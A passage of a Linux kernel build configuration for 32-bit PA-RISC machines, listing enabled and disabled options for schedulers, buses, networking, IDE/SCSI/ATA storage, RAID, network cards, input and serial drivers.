# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
# CONFIG_LBDAF is not set
# CONFIG_BLK_DEV_BSG is not set
# CONFIG_BLK_DEV_INTEGRITY is not set

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
# CONFIG_INLINE_SPIN_TRYLOCK is not set
# CONFIG_INLINE_SPIN_TRYLOCK_BH is not set
# CONFIG_INLINE_SPIN_LOCK is not set
# CONFIG_INLINE_SPIN_LOCK_BH is not set
# CONFIG_INLINE_SPIN_LOCK_IRQ is not set
# CONFIG_INLINE_SPIN_LOCK_IRQSAVE is not set
# CONFIG_INLINE_SPIN_UNLOCK is not set
# CONFIG_INLINE_SPIN_UNLOCK_BH is not set
# CONFIG_INLINE_SPIN_UNLOCK_IRQ is not set
# CONFIG_INLINE_SPIN_UNLOCK_IRQRESTORE is not set
# CONFIG_INLINE_READ_TRYLOCK is not set
# CONFIG_INLINE_READ_LOCK is not set
# CONFIG_INLINE_READ_LOCK_BH is not set
# CONFIG_INLINE_READ_LOCK_IRQ is not set
# CONFIG_INLINE_READ_LOCK_IRQSAVE is not set
# CONFIG_INLINE_READ_UNLOCK is not set
# CONFIG_INLINE_READ_UNLOCK_BH is not set
# CONFIG_INLINE_READ_UNLOCK_IRQ is not set
# CONFIG_INLINE_READ_UNLOCK_IRQRESTORE is not set
# CONFIG_INLINE_WRITE_TRYLOCK is not set
# CONFIG_INLINE_WRITE_LOCK is not set
# CONFIG_INLINE_WRITE_LOCK_BH is not set
# CONFIG_INLINE_WRITE_LOCK_IRQ is not set
# CONFIG_INLINE_WRITE_LOCK_IRQSAVE is not set
# CONFIG_INLINE_WRITE_UNLOCK is not set
# CONFIG_INLINE_WRITE_UNLOCK_BH is not set
# CONFIG_INLINE_WRITE_UNLOCK_IRQ is not set
# CONFIG_INLINE_WRITE_UNLOCK_IRQRESTORE is not set
# CONFIG_MUTEX_SPIN_ON_OWNER is not set
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
# CONFIG_64BIT is not set
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
CONFIG_SMP=y
CONFIG_HOTPLUG_CPU=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_HZ_100=y
# CONFIG_HZ_250 is not set
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=100
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
CONFIG_FLATMEM_MANUAL=y
# CONFIG_DISCONTIGMEM_MANUAL is not set
# CONFIG_SPARSEMEM_MANUAL is not set
CONFIG_FLATMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=999999
# CONFIG_PHYS_ADDR_T_64BIT is not set
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_HPUX=y
CONFIG_NR_CPUS=32

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
# CONFIG_HPPB is not set
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_EISA_NAMES=y
# CONFIG_ISA is not set
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
CONFIG_PCI_LEGACY=y
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_IOV is not set
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
CONFIG_PCCARD=y
CONFIG_PCMCIA=y
CONFIG_PCMCIA_LOAD_CIS=y
CONFIG_PCMCIA_IOCTL=y
CONFIG_CARDBUS=y

#
# PC-card bridges
#
CONFIG_YENTA=y
CONFIG_YENTA_O2=y
CONFIG_YENTA_RICOH=y
CONFIG_YENTA_TI=y
CONFIG_YENTA_ENE_TUNE=y
CONFIG_YENTA_TOSHIBA=y
CONFIG_PD6729=y
CONFIG_I82092=y
CONFIG_PCCARD_NONSTATIC=y
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_PDC_CHASSIS is not set
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_SOM=y
CONFIG_BINFMT_MISC=m
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
# CONFIG_PACKET_MMAP is not set
CONFIG_UNIX=y
CONFIG_XFRM=y
CONFIG_XFRM_USER=m
# CONFIG_XFRM_SUB_POLICY is not set
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
CONFIG_NET_KEY=m
# CONFIG_NET_KEY_MIGRATE is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_FIB_HASH=y
CONFIG_IP_PNP=y
CONFIG_IP_PNP_DHCP=y
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
# CONFIG_SYN_COOKIES is not set
CONFIG_INET_AH=m
CONFIG_INET_ESP=m
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
# CONFIG_INET_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET_XFRM_MODE_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_BEET is not set
# CONFIG_INET_LRO is not set
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
# CONFIG_IPV6 is not set
# CONFIG_NETWORK_SECMARK is not set
# CONFIG_NETFILTER is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_RDS is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_BRIDGE is not set
# CONFIG_NET_DSA is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
CONFIG_LLC=m
CONFIG_LLC2=m
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_PHONET is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
# CONFIG_DCB is not set

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
CONFIG_WIRELESS=y
CONFIG_WIRELESS_EXT=y
CONFIG_WEXT_CORE=y
CONFIG_WEXT_PROC=y
CONFIG_WEXT_SPY=y
CONFIG_WEXT_PRIV=y
# CONFIG_CFG80211 is not set
CONFIG_WIRELESS_EXT_SYSFS=y
CONFIG_LIB80211=m
CONFIG_LIB80211_CRYPT_WEP=m
CONFIG_LIB80211_CRYPT_CCMP=m
CONFIG_LIB80211_CRYPT_TKIP=m
# CONFIG_LIB80211_DEBUG is not set

#
# CFG80211 needs to be enabled for MAC80211
#
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
# CONFIG_DEVTMPFS is not set
# CONFIG_STANDALONE is not set
# CONFIG_PREVENT_FIRMWARE_BUILD is not set
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
CONFIG_PARPORT=y
CONFIG_PARPORT_PC=m
# CONFIG_PARPORT_SERIAL is not set
# CONFIG_PARPORT_PC_FIFO is not set
# CONFIG_PARPORT_PC_SUPERIO is not set
CONFIG_PARPORT_PC_PCMCIA=m
CONFIG_PARPORT_GSC=y
# CONFIG_PARPORT_AX88796 is not set
CONFIG_PARPORT_1284=y
CONFIG_PARPORT_NOT_PC=y
CONFIG_BLK_DEV=y
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_CRYPTOLOOP=y

#
# DRBD disabled because PROC_FS, INET or CONNECTOR not selected
#
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_UB is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=6144
# CONFIG_BLK_DEV_XIP is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_ATA_OVER_ETH is not set
# CONFIG_BLK_DEV_HD is not set
CONFIG_MISC_DEVICES=y
# CONFIG_PHANTOM is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_CB710_CORE is not set
CONFIG_HAVE_IDE=y
CONFIG_IDE=y

#
# Please see Documentation/ide/ide.txt for help/info on IDE drives
#
CONFIG_IDE_XFER_MODE=y
CONFIG_IDE_ATAPI=y
# CONFIG_BLK_DEV_IDE_SATA is not set
CONFIG_IDE_GD=y
CONFIG_IDE_GD_ATA=y
# CONFIG_IDE_GD_ATAPI is not set
CONFIG_BLK_DEV_IDECS=y
# CONFIG_BLK_DEV_DELKIN is not set
CONFIG_BLK_DEV_IDECD=y
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=y
# CONFIG_BLK_DEV_IDETAPE is not set
# CONFIG_IDE_TASK_IOCTL is not set
CONFIG_IDE_PROC_FS=y

#
# IDE chipset support/bugfixes
#
# CONFIG_BLK_DEV_PLATFORM is not set
CONFIG_BLK_DEV_IDEDMA_SFF=y

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
CONFIG_IDEPCI_PCIBUS_ORDER=y
# CONFIG_BLK_DEV_OFFBOARD is not set
CONFIG_BLK_DEV_GENERIC=y
# CONFIG_BLK_DEV_OPTI621 is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_TRIFLEX is not set
# CONFIG_BLK_DEV_CS5520 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT366 is not set
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
# CONFIG_BLK_DEV_PIIX is not set
# CONFIG_BLK_DEV_IT8172 is not set
# CONFIG_BLK_DEV_IT8213 is not set
# CONFIG_BLK_DEV_IT821X is not set
CONFIG_BLK_DEV_NS87415=y
# CONFIG_BLK_DEV_PDC202XX_OLD is not set
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
# CONFIG_BLK_DEV_SIIMAGE is not set
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
# CONFIG_BLK_DEV_TC86C001 is not set
CONFIG_BLK_DEV_IDEDMA=y

#
# SCSI device support
#
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
# CONFIG_SCSI_TGT is not set
# CONFIG_SCSI_NETLINK is not set
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_ST=y
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_CHR_DEV_SG=y
# CONFIG_CHR_DEV_SCH is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set
# CONFIG_SCSI_SCAN_ASYNC is not set
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
# CONFIG_SCSI_ISCSI_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_HPSA is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_LIBFC is not set
# CONFIG_LIBFCOE is not set
# CONFIG_FCOE is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_LE_ON_BE=y
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_IPR is not set
CONFIG_SCSI_ZALON=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_NSP32 is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_SRP is not set
# CONFIG_SCSI_BFA_FC is not set
# CONFIG_SCSI_LOWLEVEL_PCMCIA is not set
CONFIG_SCSI_DH=y
# CONFIG_SCSI_DH_RDAC is not set
# CONFIG_SCSI_DH_HP_SW is not set
# CONFIG_SCSI_DH_EMC is not set
# CONFIG_SCSI_DH_ALUA is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
CONFIG_ATA=y
# CONFIG_ATA_NONSTANDARD is not set
CONFIG_ATA_VERBOSE_ERROR=y
CONFIG_SATA_PMP=y
# CONFIG_SATA_AHCI is not set
# CONFIG_SATA_SIL24 is not set
CONFIG_ATA_SFF=y
# CONFIG_SATA_SVW is not set
# CONFIG_ATA_PIIX is not set
# CONFIG_SATA_MV is not set
# CONFIG_SATA_NV is not set
# CONFIG_PDC_ADMA is not set
# CONFIG_SATA_QSTOR is not set
# CONFIG_SATA_PROMISE is not set
# CONFIG_SATA_SX4 is not set
# CONFIG_SATA_SIL is not set
# CONFIG_SATA_SIS is not set
# CONFIG_SATA_ULI is not set
# CONFIG_SATA_VIA is not set
# CONFIG_SATA_VITESSE is not set
# CONFIG_SATA_INIC162X is not set
# CONFIG_PATA_ALI is not set
# CONFIG_PATA_AMD is not set
# CONFIG_PATA_ARTOP is not set
# CONFIG_PATA_ATP867X is not set
# CONFIG_PATA_ATIIXP is not set
# CONFIG_PATA_CMD640_PCI is not set
# CONFIG_PATA_CMD64X is not set
# CONFIG_PATA_CS5520 is not set
# CONFIG_PATA_CS5530 is not set
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
# CONFIG_ATA_GENERIC is not set
# CONFIG_PATA_HPT366 is not set
# CONFIG_PATA_HPT37X is not set
# CONFIG_PATA_HPT3X2N is not set
# CONFIG_PATA_HPT3X3 is not set
# CONFIG_PATA_IT821X is not set
# CONFIG_PATA_IT8213 is not set
# CONFIG_PATA_JMICRON is not set
# CONFIG_PATA_TRIFLEX is not set
# CONFIG_PATA_MARVELL is not set
# CONFIG_PATA_MPIIX is not set
# CONFIG_PATA_OLDPIIX is not set
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_NS87415 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_OPTIDMA is not set
# CONFIG_PATA_PCMCIA is not set
# CONFIG_PATA_PDC2027X is not set
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
# CONFIG_PATA_RDC is not set
# CONFIG_PATA_RZ1000 is not set
# CONFIG_PATA_SC1200 is not set
# CONFIG_PATA_SERVERWORKS is not set
# CONFIG_PATA_SIL680 is not set
# CONFIG_PATA_SIS is not set
# CONFIG_PATA_TOSHIBA is not set
# CONFIG_PATA_VIA is not set
# CONFIG_PATA_WINBOND is not set
# CONFIG_PATA_SCH is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=y
CONFIG_MD_AUTODETECT=y
CONFIG_MD_LINEAR=y
CONFIG_MD_RAID0=y
CONFIG_MD_RAID1=y
CONFIG_MD_RAID10=y
CONFIG_MD_RAID456=y
# CONFIG_MULTICORE_RAID456 is not set
CONFIG_MD_RAID6_PQ=y
# CONFIG_ASYNC_RAID6_TEST is not set
# CONFIG_MD_MULTIPATH is not set
# CONFIG_MD_FAULTY is not set
CONFIG_BLK_DEV_DM=y
# CONFIG_DM_DEBUG is not set
# CONFIG_DM_CRYPT is not set
# CONFIG_DM_SNAPSHOT is not set
# CONFIG_DM_MIRROR is not set
# CONFIG_DM_ZERO is not set
# CONFIG_DM_MULTIPATH is not set
# CONFIG_DM_DELAY is not set
CONFIG_DM_UEVENT=y
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#

#
# You can enable one or both FireWire driver stacks.
#

#
# The newer stack is recommended.
#
# CONFIG_FIREWIRE is not set
# CONFIG_IEEE1394 is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
CONFIG_DUMMY=m
CONFIG_BONDING=m
# CONFIG_MACVLAN is not set
# CONFIG_EQUALIZER is not set
CONFIG_TUN=m
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set
# CONFIG_PHYLIB is not set
CONFIG_NET_ETHERNET=y
CONFIG_MII=m
CONFIG_LASI_82596=y
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNGEM is not set
# CONFIG_CASSINI is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_ETHOC is not set
# CONFIG_DNET is not set
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
# CONFIG_TULIP_MMIO is not set
# CONFIG_TULIP_NAPI is not set
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_ULI526X is not set
# CONFIG_PCMCIA_XIRCOM is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_IBM_NEW_EMAC_NO_FLOW_CTRL is not set
# CONFIG_IBM_NEW_EMAC_MAL_CLR_ICINTSTAT is not set
# CONFIG_IBM_NEW_EMAC_MAL_COMMON_ERR is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_AMD8111_ETH is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_AC3200 is not set
# CONFIG_B44 is not set
# CONFIG_FORCEDETH is not set
# CONFIG_CS89x0 is not set
# CONFIG_E100 is not set
# CONFIG_LNE390 is not set
# CONFIG_FEALNX is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_NE3210 is not set
# CONFIG_ES3210 is not set
# CONFIG_8139CP is not set
# CONFIG_8139TOO is not set
# CONFIG_R6040 is not set
# CONFIG_SIS900 is not set
# CONFIG_EPIC100 is not set
# CONFIG_SMSC9420 is not set
# CONFIG_SUNDANCE is not set
# CONFIG_TLAN is not set
# CONFIG_KS8842 is not set
# CONFIG_KS8851_MLL is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_SC92031 is not set
# CONFIG_NET_POCKET is not set
# CONFIG_ATL2 is not set
# CONFIG_NETDEV_1000 is not set
# CONFIG_NETDEV_10000 is not set
# CONFIG_TR is not set
CONFIG_WLAN=y
# CONFIG_PCMCIA_RAYCS is not set
# CONFIG_ATMEL is not set
# CONFIG_AIRO_CS is not set
# CONFIG_PCMCIA_WL3501 is not set
# CONFIG_PRISM54 is not set
# CONFIG_USB_ZD1201 is not set
CONFIG_HOSTAP=m
CONFIG_HOSTAP_FIRMWARE=y
CONFIG_HOSTAP_FIRMWARE_NVRAM=y
# CONFIG_HOSTAP_PLX is not set
CONFIG_HOSTAP_PCI=m
CONFIG_HOSTAP_CS=m

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_USBNET is not set
CONFIG_NET_PCMCIA=y
# CONFIG_PCMCIA_3C589 is not set
# CONFIG_PCMCIA_3C574 is not set
# CONFIG_PCMCIA_FMVJ18X is not set
# CONFIG_PCMCIA_PCNET is not set
# CONFIG_PCMCIA_NMCLAN is not set
# CONFIG_PCMCIA_SMC91C92 is not set
# CONFIG_PCMCIA_XIRC2PS is not set
# CONFIG_PCMCIA_AXNET is not set
# CONFIG_WAN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
CONFIG_PPP=m
# CONFIG_PPP_MULTILINK is not set
# CONFIG_PPP_FILTER is not set
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m
# CONFIG_PPP_MPPE is not set
CONFIG_PPPOE=m
# CONFIG_PPPOL2TP is not set
# CONFIG_SLIP is not set
CONFIG_SLHC=m
# CONFIG_NET_FC is not set
# CONFIG_NETCONSOLE is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
# CONFIG_VMXNET3 is not set
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
CONFIG_INPUT_POLLDEV=y
# CONFIG_INPUT_SPARSEKMAP is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=y
# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_HIL_OLD is not set
CONFIG_KEYBOARD_HIL=m
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_ELANTECH is not set
# CONFIG_MOUSE_PS2_SENTELIC is not set
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
CONFIG_MOUSE_SERIAL=y
# CONFIG_MOUSE_APPLETOUCH is not set
# CONFIG_MOUSE_BCM5974 is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
CONFIG_INPUT_MISC=y
# CONFIG_INPUT_ATI_REMOTE is not set
# CONFIG_INPUT_ATI_REMOTE2 is not set
# CONFIG_INPUT_KEYSPAN_REMOTE is not set
# CONFIG_INPUT_POWERMATE is not set
# CONFIG_INPUT_YEALINK is not set
# CONFIG_INPUT_CM109 is not set
CONFIG_INPUT_UINPUT=m
CONFIG_HP_SDC_RTC=m

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_PARKBD is not set
CONFIG_SERIO_GSCPS2=y
CONFIG_HP_SDC=m
CONFIG_HIL_MLC=m
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
# CONFIG_SERIO_RAW is not set
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
CONFIG_VT_HW_CONSOLE_BINDING=y
CONFIG_DEVKMEM=y
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_CS=y
CONFIG_SERIAL_8250_NR_UARTS=17
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
CONFIG_SERIAL_MUX=y
CONFIG_SERIAL_MUX_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
CONFIG_UNIX98_PTYS=y
# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=64
CONFIG_PRINTER=m
